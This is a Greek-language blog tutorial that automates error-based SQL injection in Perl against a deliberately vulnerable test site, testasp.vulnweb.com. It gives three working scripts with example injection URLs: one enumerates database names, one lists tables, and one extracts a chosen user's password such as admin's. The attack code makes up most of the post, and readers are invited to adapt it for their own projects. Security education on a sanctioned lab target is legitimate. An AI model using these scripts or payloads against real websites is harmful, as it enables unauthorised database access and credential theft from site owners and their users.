RSS

SQL Injection: Δημιουργώντας τα δικά μας προγράμματα !

24 Aug

Σε προηγούμενο άρθρο, ασχοληθήκαμε με μια τυπική επίθεση SQL injection απέναντι σε μια σελίδα (http://testasp.vulnweb.com/) που είναι ειδικά κατασκευασμένη για τέτοιου είδους ελέγχους ασφαλείας. Ελπίζουμε να κατανοήσατε τον τρόπο με τον οποίο εργαστήκαμε γιατί σε αυτό το τεύχος θα προσπαθήσουμε να αυτοματοποιήσουμε τη διαδικασία που σας περιγράψαμε στο προηγούμενο, γράφοντας μερικά δικά μας κομμάτια από κώδικα, σε perl.

Η perl αποτελεί καθαρά προσωπική προτίμηση του γράφοντα .Φυσικά η δουλειά αυτή θα μπορούσε να γίνει εξίσου καλά και με άλλες γλώσσες προγραμματισμού (python, ruby, κτλ). Τα προγράμματα που ακολουθούν, αποτελούν κομμάτια κώδικα ενός μεγαλύτερου project που  αναπτύσσει ο γράφον για αυτοματοποιημένους ελέγχους σε ιστοσελίδες που πάσχουν από SQL Injections. Έχουν τροποποιηθεί κατάλληλα ώστε να λειτουργούν ανεξάρτητα μεταξύ τους, με σκοπό να καλύψουν τις ανάγκες του παρόντος άρθρου.

Πριν ξεκινήσουμε, κρίνουμε σκόπιμο να επισημάνουμε ότι σε σύγκριση με το προηγούμενο άρθρο θα χρησιμοποιήσουμε μια ελαφρώς διαφοροποιημένη σύνταξη για να επιτύχουμε SQL Injection στο στόχο μας. Η λογική με την οποία φυσικά θα ενεργήσουμε  είναι η ίδια!

Δημιουργώντας τα προγράμματα που θα χρησιμοποιήσουμε.

Το πρώτο πράγμα που θα πρέπει να ελέγξουμε είναι αν μπορούμε με κάποιο τρόπο να ανακαλύψουμε τα ονόματα των Β.Δ. που υπάρχουν στο στόχο μας,φυσικά στον ελάχιστο δυνατό χρόνο! Σίγουρα ορισμένοι θα σκεφτείτε ότι αυτή τη δουλεία θα μπορούσαμε να την κάνουμε ευκολότερα με κάποιο έτοιμο open source εργαλείο  όπως  Sqlmap, Sqlninja κτλ αλλά σίγουρα έχει περισσότερο ενδιαφέρον όταν δημιουργήσουμε μόνοι μας τα εργαλεία που θα χρησιμοποιούμε.  Έτσι δεν είναι;

Εύρεση των Β.Δ. στο στόχο μας:

use LWP::UserAgent;
$target = "http://testasp.vulnweb.com/showforum.asp?id=1"; # Ο στόχος μας.
$end_db = 30; #  Πλήθος των ΒΔ που θα ελέγξουμε.
print "[+] Databases:\n";
$countdb = 0;
for ($countdb; $countdb < $end_db; $countdb++)
{
	$db = "+and+1=convert(int,db_name($countdb))";
	$int = LWP::UserAgent->new() or die;
	$check=$int->get($target.$db);
	if ($check->content =~ m/value '(.*)' to/g)
	{
		$database = $1;
		print " [*] $database\n";
		sleep(1)
	}
}

Καταρχάς, ορίσαμε το module που θα χρησιμοποιήσουμε (LWP::UserAgent) για να αποστείλουμε web requests στο στόχο μας. Στη συνέχεια, δηλώνουμε δύο μεταβλητές, το στόχο μας ($target) και το πλήθος των Β.Δ. που θέλουμε να ελέγξουμε($end_db).

Ουσιαστικά αυτό που κάνει ο κώδικας μας, μέσα από μία επαναλαμβανόμενη διαδικασία που εκτελείται όσες φορές δηλώνει η μεταβλητή “$end_db”,  είναι να “καλεί” την ιστοσελίδα:

http://testasp.vulnweb.com/showforum.asp?id=1+and+1=convert(int,db_name($countdb))

θέτοντας σαν όρισμα στην συνάρτηση “db_name()” τον τρέχοντα αριθμό του μετρητή “$countdb” και στη συνέχεια να μας επιστρέφει το αποτέλεσμα που εμφανίζεται. Στην προκειμένη περίπτωση η διαδικασία αυτή θα μας επιστρέψει τα ονόματα μέχρι και 30 (αν υπάρχουν) Β.Δ.

Έτσι, μέσα σε μερικά δευτερόλεπτα  θα έχουμε στα χέρια μας τα ονόματα όλων των Β.Δ. του στόχου και μάλιστα χωρίς ιδιαίτερο κόπο! Θα πρέπει τώρα, να εμφανίσουμε τα tables (πίνακες) που εμπεριέχονται στη κάθε μία απ’ τις Β.Δ.(εικόνα 1)

Εικόνα 1
Έχουμε στα χέρια μας τα ονόματα όλων των Β.Δ. του στόχου.

Εύρεση των tables σε μία Β.Δ.:

use LWP::UserAgent;
$target        = 'http://testasp.vulnweb.com/showforum.asp?id=1'; #  Ο στόχος μας.
$database      = 'acuforum';# Η βάση στο στόχο μας!
$end_table     = 20; #  Πλήθος  από πίνακες
print "[+] Database: $database\n";
$infoschema_table = "+and+1=convert(int,(select+top+1+table_name+from+".$database.".Information_Schema.tables))";
$int = LWP::UserAgent->new() or die;
$check=$int->get($target.$infoschema_table);
if ($check->content =~ m/value '(.*)' to/g)
{
	$first_table = $1;
	print "  [+] Table: $first_table\n";
	$first_table = "'$first_table'";
	for ($count_table; $count_table < $end_table; $count_table++)
	{
		$fullsqli_table = "+and+1=convert(int,(select+top+1+table_name+from+".$database.".Information_Schema.tables+where+table_name+not+in($first_table)))";
		$int = LWP::UserAgent->new() or die;
		$check=$int->get($target.$fullsqli_table);
		if ($check->content =~ m/value '(.*)' to/g)
		{
			$next_table = $1;
			$first_table = $first_table.",'".$next_table."'";
			print "  [+] Table: $next_table\n";
			sleep(1)
		}
	}
}

Αφού δηλωθούν οι απαραίτητες μεταβλητές, όπως το όνομα της Β.Δ ($database), το οποίο ανακαλύψαμε εκτελώντας τον προηγούμενο κώδικα (π.χ. acuforum), καθώς και το πλήθος των tables ($end_table) που θέλουμε να ελέγξουμε, καλούμε την ιστοσελίδα :

http://testasp.vulnweb.com/showforum.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+".$database.".Information_Schema.tables))

Όταν το όνομα από το πρώτο table εμφανιστεί εκχωρείται στη μεταβλητή “$first_table” .Στη συνέχεια μέσα από μια επαναληπτική διαδικασία (που εκτελείται όσες φορές δηλώνει η μεταβλητή “$end_table) προσπαθούμε  να ανακαλύψουμε το όνομα του επόμενου table που υπάρχουν στη  Β.Δ. Κάθε φορά που εκτελείται η διαδικασία αυτή εξαιρούνται  (με το “not in”) τα ονόματα των tables που έχουν ήδη εμφανιστεί .

http://testasp.vulnweb.com/showforum.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+".$database.".Information_Schema.tables+where+table_name+not+in($first_table)))

Έτσι, όταν ολοκληρωθεί η παραπάνω διαδικασία θα έχουμε ανακαλύψει τα ονόματα όλων των tables που εμπεριέχονται στη Β.Δ. που μας ενδιαφέρει (εικόνα 2).


Εικόνα 2
Έχουμε ανακαλύψει τα ονόματα όλων των tables της Β.Δ. “acuforum”

Σημείωση: Η παραπάνω διαδικασία θα πρέπει να επαναληφθεί για όλες τις  Β.Δ. που μας ενδιαφέρουν.

Αφού τελικά καταφέραμε να μάθουμε τις ονομασίες των tables, μπορούμε πλέον να πάμε ένα βήμα παραπέρα. Το επόμενο βήμα μας είναι να εμφανίσουμε τα ονόματα των columns (στήλες) που αντιστοιχούν στο κάθε table που μόλις ανακαλύψαμε.

Με την ίδια ακριβώς λογική που ακολουθήθηκε πριν και με μερικές μετατροπές στον κώδικα μπορούμε εύκολα να το επιτύχουμε αυτό! Δοκιμάστε μόνοι σας να δημιουργήσετε ένα κομμάτι κώδικα που να κάνει αυτή τη δουλεία. Αξίζει το κόπο! Έστω ότι τελικά, έχουμε καταφέρει να γνωρίζουμε το όνομα του table που περιέχει τα usernames και τα passwords ,καθώς και τις δύο επίμαχες columns.

Μπορούμε τώρα να εμφανίσουμε απ’ όποιον χρήστη μας ενδιαφέρει το password που του αντιστοιχεί.

Εύρεση χρηστών και κωδικών:

use LWP::UserAgent;
$target = 'http://testasp.vulnweb.com/showforum.asp?id=1'; # Ο στόχος μας!
$table = 'users'; # Table του στόχου!
$user_column   = 'uname'; #  Column με usernames !
$pass_column   = 'upass'; #   Column με passwords !
$search = 'admin'; #  Ο χρήστης που θα αναζητήσουμε!
print " [+] Checking for '$search'...\n";
$scan = "+and+1=convert(int,(select+top+1+$user_column+from+$table+where+$user_column=('$search')))";
$int = LWP::UserAgent->new() or die;
$check=$int->get($target.$scan);
if ($check->content =~ m/$search/g)
{
	$fullsqli = "+and+1=convert(int,(select+top+1+upass+from+$table+where+$user_column=('$search')))";
	$int = LWP::UserAgent->new() or die;
		$check=$int->get($target.$fullsqli);
		if ($check->content =~ m/value '(.*)' to/g)
		{
			$pass = $1;
			print " [+] Password for user '$search' is '$pass'\n";
			sleep(1)
		}
}
else
{
print "  [+] User: '$search' NOT found! \n";
}

Αντίστοιχα με τα δύο παραδείγματα που προηγήθηκαν,έτσι και εδώ, θα πρέπει καταρχάς να δηλώσουμε μερικές  μεταβλητές όπως,  το στόχο μας ($target),  το όνομα του table που περιέχει τα usernames και τα passwords ($table), το όνομα της column που περιέχει τα usernames ($user_column), καθώς και το όνομα της column που περιέχει τα passwords ($pass_column).

Τέλος σαν μεταβλητή “$search” θα πρέπει να οριστεί το όνομα του χρήστη που θέλουμε να ψάξουμε. Στην προκειμένη περίπτωση που αναζητούμε το password του “admin” όταν εκτελούμε τον κώδικα, καλούμε την ιστοσελίδα

http://testasp.vulnweb.com/showforum.asp?id=1+and+1=convert(int,(select+top+1+upass+from+users+where+uname=(‘admin’)))

και ελέγχουμε αν θα μας επιστρέψει κάποια εγγραφή για το username που έχουμε ζητήσει. Αν δεν μας επιστρέψει κάτι, τότε εμφανίζεται ένα μήνυμα λάθους (εικόνα 3).

Εικόνα 3
Δεν ήταν δύσκολο να βρούμε το password του “admin”.

Επίλογος

Μέσα σε μερικές γραμμές κωδικά καταφέραμε να αυτοματοποιήσουμε μια αρκετά χρονοβόρα διαδικασία. Μπορείτε φυσικά να πειραματιστείτε με τον κώδικα που μόλις σας παρουσιάσαμε. Προσπαθήστε να τον τροποποιήσετε  ανάλογα με τις ανάγκες σας και να ξεκινήσετε τα δικά σας project. Σε κάθε περίπτωση θα χαρώ αν μου στείλετε τις ιδέες ή τη δουλεία σας!

 
Leave a comment

Posted by on August 24, 2011 in It's Greek to Me

 

Tags: ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: